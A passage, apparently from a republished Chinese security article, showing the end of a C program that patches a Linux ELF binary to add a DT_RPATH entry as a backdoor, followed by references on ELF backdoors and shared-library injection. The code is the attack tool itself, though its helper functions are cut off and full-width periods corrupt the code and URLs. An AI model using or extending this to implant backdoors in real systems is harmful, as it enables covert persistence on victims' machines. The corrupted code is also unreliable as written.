Linux系统下解析Elf文件DT_RPATH后门); exit(1); } printf("+hErE is to Start \n"); if((fd=open(argv[1],O_RDWR))<0) ERR("open"); if(read(fd,&ehdr,sizeof(ehdr))!=sizeof(ehdr)) ERR("read"); elf_check(&ehdr); printf("+filetype is ok\n"); sdata = (char *)malloc(slen=sizeof(*shdr)*ehdr。e_shnum); if (sdata == NULL) ERR("malloc"); if (lseek(fd, ofshoff = ehdr。e_shoff, SEEK_SET) < 0) ERR("lseek"); if (read(fd, sdata, slen) != slen) ERR("read"); if((index=mod_sym(fd,&ehdr,(Elf32_Shdr *)sdata,symgname))<0) exit(1); if(add_ent(fd,&index,&ehdr,(Elf32_Shdr *)sdata)<0) { printf("+some err?\n");exit(1); } close(fd); free(sdata); exit(0); } EOF 五。参考 (因为我宿舍不能上网,所以我只能贴一部分连接地址:) 1。ELF动态解析符号过程(修订版) by alert7 http://www。xfocus。net/articles/200201/337。html 2。ELF后门之DT_RPATH篇 by alert7 安全焦点unix版 3。 ELF文件格式(中文) by alert7 http://www。xfocus。net/articles/200105/174。html 4。共享库注射--injectso实例 by grip2 http://www。xfocus。net/articles/200208/438。html 5。p56-7 < 6。怎么样修改动态库符号表 by wandb
更多相关文章
|
推荐文章
精彩文章
|